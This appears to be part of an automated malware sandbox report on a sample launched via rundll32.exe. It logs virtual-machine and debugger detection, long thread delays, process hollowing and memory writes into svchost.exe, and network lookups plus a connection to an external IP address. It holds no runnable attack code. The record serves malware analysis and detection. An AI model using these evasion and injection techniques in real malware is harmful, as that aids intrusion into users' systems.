Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Show sources

Source: C:\Windows\System32\svchost.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Show sources

Source: C:\Windows\System32\svchost.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_BaseBoard

Source: C:\Windows\System32\loaddll64.exe TID: 5748	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4624	Thread sleep time: -48390s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 2336	Thread sleep time: -2999240s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 4624	Thread sleep time: -288504s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 2336	Thread sleep count: 56 > 30
Source: C:\Windows\System32\svchost.exe TID: 2336	Thread sleep time: -20119232s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 4624	Thread sleep time: -587365s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 4624	Thread sleep time: -143210s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 2336	Thread sleep time: -4572524s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 4624	Thread sleep time: -59597s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 2336	Thread sleep time: -4087450s >= -30000s

Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed

Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 299924
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 288504
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 359272
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 587365
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 415684
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 408745

Source: C:\Windows\System32\svchost.exe

Process information queried: ProcessInformation

Source: C:\Windows\System32\svchost.exe	Code function: 24_2_00007FF70D70CE00 FindFirstFileExW,		24_2_00007FF70D70CE00
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00007FF70D70CE00 FindFirstFileExW,		29_2_00007FF70D70CE00

Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 106892	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 100467	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 106396	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 111328	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 116865	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 76234	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 88779	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 66609	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 86396	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 93917	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 86960	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 119716	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 89989	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 78485	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 76803	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 71321	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 86787	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 112576	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 88672	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 73544	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 62311	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 96822	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 117537	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 98881	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 111430	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 98697	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 94911	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 61734	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 80761	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 111710	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 67084	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 87822	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 99787	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 94024	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 63798	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 77671	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 66807	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 81430	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 80446	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 102311	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 114430	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 110302	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 62630	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 71156	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 63431	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 69459	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 106728	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 117230	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 86912	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 52929	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 74614	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 88357	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 75362	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 78446	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 111763	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 71001	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 103004	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 119108	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 79407	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 114250	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 70588	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 100385	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 73536	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 94395	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 113644	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 112495	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 93863	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 119311	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 116203	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 76385	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 77520	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 69455	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 111323	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 110664	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 73839	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 64499	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 111504	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 111716	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 84471	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 114932	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 94265	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 105507	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 79156	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 110038	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 65880	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 79103	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 94963	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 90490	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 92284	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 109258	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 119938	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 105262	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 88853	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 75848	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 77724	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 73001	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 66450	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 82372	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 95634	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 88741	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 92027	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 106674	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 71815	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 82215	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 89326	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 50788
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 32825
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 84263
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 97369
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 89674
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 65875
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 61148
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 73685
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 103096
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 107342
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 98806
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 64545
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 67018
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 117469
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 99020
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 102941
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 90287
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 66464
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 96965
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 62958
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 89711
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 82586
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 78802
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 68752
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 113846
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 60739
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 112862
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 85126
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 117949
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 81000
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 64796
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 92403
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 102064
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 94333
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 105667
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 78790
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 111869
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 90679
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 109121
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 92223
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 91507
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 110056
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 78176
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 99920
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 86565
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 78555
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 62835
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 78606
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 114085
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 89093
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 97885
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 61840
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 48390
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 299924
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 288504
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 359272
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 587365
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 143210
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 415684
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 59597
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 408745

Source: C:\Windows\System32\svchost.exe

Code function: 24_2_00007FF70D703F8C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

24_2_00007FF70D703F8C

Source: C:\Windows\System32\svchost.exe

Code function: 24_2_00007FF70D6EDE80 GetProcessHeap,HeapAlloc,lstrcpyA,lstrcatA,GetProcAddress,InternetOpenUrlA,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapFree,RtlDeleteBoundaryDescriptor,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcAddress,SleepEx,

24_2_00007FF70D6EDE80

Source: C:\Windows\System32\rundll32.exe	Process queried: DebugPort
Source: C:\Windows\System32\rundll32.exe	Process queried: DebugPort
Source: C:\Windows\System32\rundll32.exe	Process queried: DebugPort
Source: C:\Windows\System32\rundll32.exe	Process queried: DebugPort
Source: C:\Windows\System32\rundll32.exe	Process queried: DebugPort
Source: C:\Windows\System32\rundll32.exe	Process queried: DebugPort
Source: C:\Windows\System32\rundll32.exe	Process queried: DebugPort
Source: C:\Windows\System32\rundll32.exe	Process queried: DebugPort
Source: C:\Windows\System32\rundll32.exe	Process queried: DebugPort
Source: C:\Windows\System32\rundll32.exe	Process queried: DebugPort
Source: C:\Windows\System32\rundll32.exe	Process queried: DebugPort
Source: C:\Windows\System32\rundll32.exe	Process queried: DebugPort
Source: C:\Windows\System32\rundll32.exe	Process queried: DebugPort
Source: C:\Windows\System32\rundll32.exe	Process queried: DebugPort

Source: C:\Windows\System32\svchost.exe	Code function: 24_2_00007FF70D703DE0 SetUnhandledExceptionFilter,_invalid_parameter_noinfo,	24_2_00007FF70D703DE0
Source: C:\Windows\System32\svchost.exe	Code function: 24_2_00007FF70D703F8C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	24_2_00007FF70D703F8C
Source: C:\Windows\System32\svchost.exe	Code function: 24_2_00007FF70D703A40 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,TerminateProcess,	24_2_00007FF70D703A40
Source: C:\Windows\System32\svchost.exe	Code function: 24_2_00007FF70D70A28C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	24_2_00007FF70D70A28C
Source: C:\Windows\System32\svchost.exe	Code function: 24_2_00007FF70D704174 SetUnhandledExceptionFilter,	24_2_00007FF70D704174
Source: C:\Windows\System32\svchost.exe	Code function: 24_2_00007FF70D7141E8 SetUnhandledExceptionFilter,	24_2_00007FF70D7141E8
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00007FF70D703DE0 SetUnhandledExceptionFilter,_invalid_parameter_noinfo,	29_2_00007FF70D703DE0
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00007FF70D703F8C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	29_2_00007FF70D703F8C
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00007FF70D703A40 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,TerminateProcess,	29_2_00007FF70D703A40
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00007FF70D70A28C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	29_2_00007FF70D70A28C
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00007FF70D704174 SetUnhandledExceptionFilter,	29_2_00007FF70D704174
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00007FF70D7141E8 SetUnhandledExceptionFilter,	29_2_00007FF70D7141E8

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\System32\svchost.exe	Domain query: myexternalip.com
Source: C:\Windows\System32\svchost.exe	Domain query: www.yahoo.com
Source: C:\Windows\System32\svchost.exe	Domain query: www.amazon.com
Source: C:\Windows\System32\svchost.exe	Domain query: www.google.com
Source: C:\Windows\System32\rundll32.exe	Network Connect: 161.35.19.83 187

Sample uses process hollowing technique

Show sources

Source: C:\Windows\System32\rundll32.exe	Section unmapped: C:\Windows\System32\svchost.exe base address: 7FF70D6E0000	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Section unmapped: C:\Windows\System32\svchost.exe base address: 7FF70D6E0000	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Section unmapped: C:\Windows\System32\svchost.exe base address: 7FF70D6E0000

Writes to foreign memory regions

Show sources

Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D6E0000	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D6E1000	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714000	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D722000	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D725000	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D727000	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D728000	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D729000	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7143B0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7143B8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7143C0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7143C8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7143D0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7143E0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7143F8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714400	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714408	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714410	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714418	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714420	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714448	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714450	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714458	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714590	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714598	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7145A0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7145A8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7145B0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7145D0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7145D8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7145E0	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7145F8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714600	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714608	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714628	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714630	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D7146F8	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714700	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714708	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714710	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714730	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714740	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714750	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714760	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714770	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714780	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF70D714790	Jump to behavior
